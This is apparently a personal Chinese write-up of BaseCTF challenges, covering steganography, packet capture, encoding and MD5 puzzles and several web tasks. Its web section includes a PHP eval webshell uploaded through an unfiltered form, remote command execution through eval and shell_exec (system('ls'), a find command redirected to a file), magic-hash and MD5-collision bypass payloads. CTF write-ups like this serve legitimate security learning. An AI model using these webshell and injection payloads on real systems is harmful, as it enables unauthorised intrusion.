因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧

MISC

你也喜欢圣物吗

鲁迪是个老hentai!

附件下载下来有两个文件

  • sweeeeeet.png
  • where_is_key.zip(加密,里面有个where_is_key.zip)

附件原图sweeeeeet.png

先用TweakPNG分析一下,提示我们有冗余数据

在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符

赛博厨师解码一下,发现是一段提示

告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from PIL import Image
import sys


def toasc(strr):
return int(strr, 2)


# str1为所要提取的信息的长度(根据需要修改),str2为加密载体图片的路径,str3为提取文件的保存路径
def decode(str1, str2, str3):
b = ""
im = Image.open(str2)
lenth = int(str1) * 8
width, height = im.size[0], im.size[1]
count = 0
for h in range(height):
for w in range(width):
# 获得(w,h)点像素的值
pixel = im.getpixel((w, h))
# 此处余3,依次从R、G、B三个颜色通道获得最低位的隐藏信息
if count % 3 == 0:
count += 1
b = b + str((mod(int(pixel[0]), 2)))
if count == lenth:
break
if count % 3 == 1:
count += 1
b = b + str((mod(int(pixel[1]), 2)))
if count == lenth:
break
if count % 3 == 2:
count += 1
b = b + str((mod(int(pixel[2]), 2)))
if count == lenth:
break
if count == lenth:
break

with open(str3, "w", encoding="utf-8") as f:
for i in range(0, len(b), 8):
# 以每8位为一组二进制,转换为十进制
stra = toasc(b[i : i + 8])
# 将转换后的十进制数视为ascii码,再转换为字符串写入到文件中
# print((stra))
f.write(chr(stra))
print("sussess")


def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)


def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string + "" + plus(bin(s[i]).replace("0b", ""))
# print(string)
return string


def mod(x, y):
return x % y


# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def encode(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:" + str(width))
print("height:" + str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a - mod(a, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b - mod(b, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c - mod(c, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)


if __name__ == "__main__":
if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) < 2:
print("Usage: python test.py <cmd> [arg...] [opts...]")
print(" cmds:")
print(" encode image + flag -> image(encoded)")
print(" decode length + image(encoded) -> flag")
sys.exit(1)
cmd = sys.argv[1]
if cmd != "encode" and cmd != "decode":
print("wrong input")
sys.exit(1)
str1 = sys.argv[2]
str2 = sys.argv[3]
str3 = sys.argv[4]
if cmd != "encode" and cmd != "decode":
print("Wrong cmd %s" % cmd)
sys.exit(1)
elif cmd == "encode":
encode(str1, str2, str3)
elif cmd == "decode":
decode(str1, str2, str3)

然后运行命令

1
2
$ python steg.py decode 64 .\sweeeeeet.png flag.txt
# 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置

因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1(真就鲁迪啊)

然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码

看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密

ZipCracker: https://github.com/asaotomo/ZipCracker

结果跟我想的一样,它是个伪加密

打开里面的flag.txt文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)

拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的

拿着后面再bake一次就出来了

海上遇到了鲨鱼

来看看网络鲨鱼吧

附件下载下来是个.pcapng文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)

发现里面有几个请求

/wireshark/flag.php文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB,估计是倒转了,所以我们直接转回来就行了

1
2
original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
print(original_string[::-1])

然后就能得到flag了

Base

Base啊Base,去学学编码吧

这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======

五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了

人生苦短,我用Python

下载下来一个Python文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import hashlib

def abort(id):
print('You failed test %d. Try again!' % id)
exit(1)

print('Hello, Python!')
flag = input('Enter your flag: ')

if len(flag) != 38:
abort(1)

if not flag.startswith('BaseCTF{'):
abort(2)

if flag.find('Mp') != 10:
abort(3)

if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
abort(4)

if ord(flag[-1]) != 125:
abort(5)

if flag.count('_') // 2 != 2:
abort(6)

if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
abort(7)

if flag[12:32:4] != 'lsT_n':
abort(8)

if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
abort(9)

if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
abort(10)

if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
abort(11)

if flag[::-7].encode().hex() != '7d4372733173':
abort(12)

if set(flag[12::11]) != {'l', 'r'}:
abort(13)

if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
abort(14)

if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
abort(15)

if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
abort(16)

if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
abort(17)

if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
abort(18)

print('🎉 You are right!')
import this

这里给了很多信息

  • flag的长度为38
  • flag的头一定为BaseCTF{
  • flag的第11和12位一定为Mp
  • flag的最后三位一定为3x}
  • flag的最后一位的字符的ASCII码为125(}
  • flag里面下划线_的数量整除2的结果为2,也就是下划线数量为4~5个
  • flag中使用下划线_分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
  • flag中13~33位中一定含有字符lsT_n
  • flag的前9位为BaseCTF{s或者BaseCTF{S
  • flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==0mPl
  • flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173}Crs1s
  • flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l或者r
  • flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]t3r_Th
  • flag的第18位到20位的字符对应的ASCII值乘以2024_08_15的指数总和等于41378751114180610
  • flag的第一位为字母(已经得知是B),第九位为小写字母,第14位为数字
  • flag的第14位为3,第16位为1
  • flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
B a s e C T F { s M p l/r 3 _ 1 _ t 3 r _ T h _ C 0 m P l 3 x }

综合这些条件,我们就可以得到上面这个表所示的提示

然后我就开始猜了,这个跟英语的功底有一定关系的

  • 结合第9~14位为(未知用*代替)s*Mp*3,我的想法是simple这个单词,所以我猜了s1Mp13
  • 第16~17位为两个字母的单词,我想到的就是is,所以我猜了1s

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x},我再猜

  • 第26~29位不是this就是that,按照英语的习惯,我猜是个that,所以这个地方可能为Th4t

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x},就剩下中间的***

这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610的计算方式如下(假设flag的第18到21位为abc)

  • 使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
  • 然后对每个索引进行计算
    • 生成字符的ASCII码,例如a为97
    • 使用a的ASCII码进行运算:97 * 20240815 ** 0,此处的0是索引

这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)

其中,20240815^2 === 409690591864225, 而41378751114180610 // 409690591864225 = 101,所以我猜γ=101e

然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66,猜测β=66B

最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95,猜测α=95_

此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}

发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对

然后我发现我错了,这里[17:20]是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x},所以我猜测中间那个未知的词为better,那么就有Bett3rBeTt3r的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}都不对,说明Th4t那个地方应该是错的

那就可能为This了,也说得通:Simple is better, this complex

所以尝试一下thisthis可写作ThisTh1sThiSThis,都去试试

然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项

所以第八项告诉我们一定是写作BeTt3r,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x},但是还有一个错了,根据第八项取得最后一个字母错了,他是n,所以我就想到了than这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}

然后还是错了,发现是simple这个单词里面的l就是l,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}

过不了第十一项,complex应该为C0mPl3x(当时打错了),然后是过不了第17项,所以is应该写作1s,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

签到

关注公众号然后签到就有了

根本进不去啊!

这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本

使用Linux的dig命令可以查看到域名下的TXT记录

所以我们dig一下flag.basectf.fun的TXT记录就出来了

你会算md5吗

下载下来是个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

flag='BaseCTF{}'

output=[]
for i in flag:
my_md5=hashlib.md5()
my_md5.update(i.encode())
output.append(my_md5.hexdigest())
print("output =",output)
'''
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
'''

这个直接md5碰撞就完事了,写个Python脚本自动生成结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import hashlib
import string


def generate_md5_dict():
# 定义所有字符集,包括字母、数字和常见符号
chars = (
string.ascii_uppercase
+ string.ascii_lowercase
+ string.digits
+ "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" # 常见符号
)

# 初始化一个空字典来存储结果
md5_dict = {}

# 遍历所有字符
for char in chars:
# 计算MD5哈希值
md5_hash = hashlib.md5(char.encode()).hexdigest()
# 将MD5哈希值和字符存入字典
md5_dict[md5_hash] = char

return md5_dict


# 生成字典
md5_dictionary = generate_md5_dict()

# 打印字典
for md5_value, character in md5_dictionary.items():
print(f"MD5: {md5_value} -> Character: {character}")

output = [
"9d5ed678fe57bcca610140957afab571",
"0cc175b9c0f1b6a831c399e269772661",
"03c7c0ace395d80182db07ae2c30f034",
"e1671797c52e15f763380b45e841ec32",
"0d61f8370cad1d412f80b84d143e1257",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"800618943025315f869e4e1f09471012",
"f95b70fdc3088560732a5ac135644506",
"0cc175b9c0f1b6a831c399e269772661",
"a87ff679a2f3e71d9181a67b7542122c",
"92eb5ffee6ae2fec3ad71c777531578f",
"8fa14cdd754f91cc6554c9e71929cce7",
"a87ff679a2f3e71d9181a67b7542122c",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"0cc175b9c0f1b6a831c399e269772661",
"e4da3b7fbbce2345d7772b0674a318d5",
"336d5ebc5436534e61d16e63ddfca327",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"8fa14cdd754f91cc6554c9e71929cce7",
"8fa14cdd754f91cc6554c9e71929cce7",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"8f14e45fceea167a5a36dedd4bea2543",
"1679091c5a880faf6fb5e6087eb1b2dc",
"a87ff679a2f3e71d9181a67b7542122c",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"c81e728d9d4c2f636f067f89cc14862c",
"336d5ebc5436534e61d16e63ddfca327",
"0cc175b9c0f1b6a831c399e269772661",
"8fa14cdd754f91cc6554c9e71929cce7",
"c9f0f895fb98ab9159f51fd0297e236d",
"e1671797c52e15f763380b45e841ec32",
"e1671797c52e15f763380b45e841ec32",
"a87ff679a2f3e71d9181a67b7542122c",
"8277e0910d750195b448797616e091ad",
"92eb5ffee6ae2fec3ad71c777531578f",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"0cc175b9c0f1b6a831c399e269772661",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf",
]

result = ""

for item in output:
try:
result += md5_dictionary[item]
except KeyError:
print(item)
print(result)

print(result)

跑一下就出来了

二维码1-街头小广告

Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚

下载下来是个图片

很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去

扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

拿去URL解码一下就有了

哇!珍德食泥鸭(未做出)

谐音梗扣钱!

flag藏哪了?仔细找找吧 可能就在眼前哦

下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件

先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx

再把后缀改为docx,可以正常打开

但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件

海上又遇了鲨鱼

怎么又看到网络鲨鱼了?!!

下载下来还是Wireshark包,但是这次是ftp协议

这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪

在弹出的窗口中,选择原始数据,然后另存为文件

出来的zip文件有密码,说明我们得回去wireshark里面找

回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了

黑丝上的flag

关注VY-netcat喵, star关注VY-netcat谢谢喵

嗯,下载下来是个图片,确实是黑丝……

然而调下亮度就出来了,没啥技术含量

另:其实只要你眼里够好,盯帧也能看出来

Aura 酱的旅行日记 <图寻擂台>

Aura 酱来旅游啦, 快来看看他到了什么地方吧

答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}

一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你

一血是不可能一血的,怎么抢得过那些手速快的哦~

这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对

百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆

从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}

前辈什么的最喜欢了

下载下来是个base64编码后的图片文本

丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容

Web

HTTP 是什么呀

成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式

💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?

打开网页后有如下要求

  • GET参数basectf=we1c%00me
  • POST参数Base=fl@g
  • Cookie传入c00k13=i can't eat it
  • User-Agent传入Base
  • Referer传入Base
  • IPX-Forwarded-For传入127.0.0.1

一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下

来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag

把他提供的内容拿去base64解码一下就有了

喵喵喵´•ﻌ•`

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..

进来以后是PHP源码

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>

很明显了就是RCE,我们尝试传入phpinfo();验证了我们的猜想

但是我传入了exec("ls")shell_exec("ls")都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")可以,我就用来找flag的位置了

找到了,cat出来就有了

md5绕过欸

绕哇绕哇绕

打开了还是PHP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {
echo '没看到参数呐';
}
?>

这里要求我们GET参数namename2,POST内容passwordpassword2

namepassword不相等并且name的md5值与password的md5值相等

这里出现了四种PHP运算符:

  • != 不等运算符,会进行类型转换,然后比较两个变量的值是否不等
  • == 相等运算符,会进行类型转换,然后比较两个变量的值是否相等
  • !== 不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
  • === 全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True

不等/相等绕过

这题第一个条件$name != $password && md5($name) == md5($password),前半很好满足,后半看似要找两个md5值相同的内容,但其实不是

我们上面说了,==会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过

所以我们可以传入name=QNKCDZOpassword=240610708,这样分别对应了0e8304004519934940580242199033910e462097431906509019562988736854就绕过了第一层

附:抄过来的md5以0e开头的常见字符串

  • QNKCDZO
    0e830400451993494058024219903391
  • 240610708
    0e462097431906509019562988736854
  • s878926199a
    0e545993274517709034328855841020
  • s155964671a
    0e342768416822451524974117254469
  • s214587387a
    0e848240448830537924465865611904
  • s214587387a
    0e848240448830537924465865611904
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s1885207154a
    0e509367213418206700842008763514
  • s1502113478a
    0e861580163291561247404381396064
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s155964671a
    0e342768416822451524974117254469
  • s1184209335a
    0e072485820392773389523109082030
  • s1665632922a
    0e731198061491163073197128363787
  • s1502113478a
    0e861580163291561247404381396064
  • s1836677006a
    0e481036490867661113260034900752
  • s1091221200a
    0e940624217856561557816327384675
  • s155964671a
    0e342768416822451524974117254469
  • s1502113478a
    0e861580163291561247404381396064
  • s155964671a
    0e342768416822451524974117254469
  • s1665632922a
    0e731198061491163073197128363787
  • s155964671a
    0e342768416822451524974117254469
  • s1091221200a
    0e940624217856561557816327384675
  • s1836677006a
    0e481036490867661113260034900752
  • s1885207154a
    0e509367213418206700842008763514
  • s532378020a
    0e220463095855511507588041205815
  • s878926199a
    0e545993274517709034328855841020
  • s1091221200a
    0e940624217856561557816327384675
  • s214587387a
    0e848240448830537924465865611904
  • s1502113478a
    0e861580163291561247404381396064
  • s1091221200a
    0e940624217856561557816327384675
  • s1665632922a
    0e731198061491163073197128363787
  • s1885207154a
    0e509367213418206700842008763514
  • s1836677006a
    0e481036490867661113260034900752
  • s1665632922a
    0e731198061491163073197128363787
  • s878926199a
    0e545993274517709034328855841020

不全等/全等绕过

这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西

Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md

我先写了一个文件叫做HelloWorld.txt,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞

1
./fastcoll_v1.0.0.5.exe -p HelloWorld.txt -o hw1.txt hw2.txt

因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("hw1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("hw2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw2.txt"));
echo "</br>";

放到我的PHPStudy环境,访问就可以得到了

1
2
3
4
5
二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40

二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40

然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!

不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了

然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了

这波Hackbar背大锅

补充:md5全等绕过的第二种做法

传入name2[]=1password2[]=3(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null

A Dark Room

文字游戏 玩得开心!

打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12

好吧,这就得到flag了

upload

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉

生成了一个webshell.php文件,内容如下

1
2
<?php
eval($_POST["pass"]);

上传后可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];

if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传你喜欢的图片吧!</title>
</head>

<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传!</button>
</form>
<?php
$files = scandir('uploads');
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
}
?>
</body>

</html>

发现上传后的文件在uploads文件夹里,且没有被改名字,直接打开蚁剑进行连接

可以在根目录下找到flag文件,打开就能看到flag了

一起吃豆豆

进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦

第一种做法:修改通关条件

在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关

然后就达到了跳关的目的,拿到了Flag

第二种做法:直接找到通关信息

搜索“结束”这个关键词,可以看到结束页面的信息

把结束页面经过Base64编码的消息拿去解码就可以得到flag了

你听不到我的声音

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

进来是PHP源码

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出

我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt

于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了

数学大师

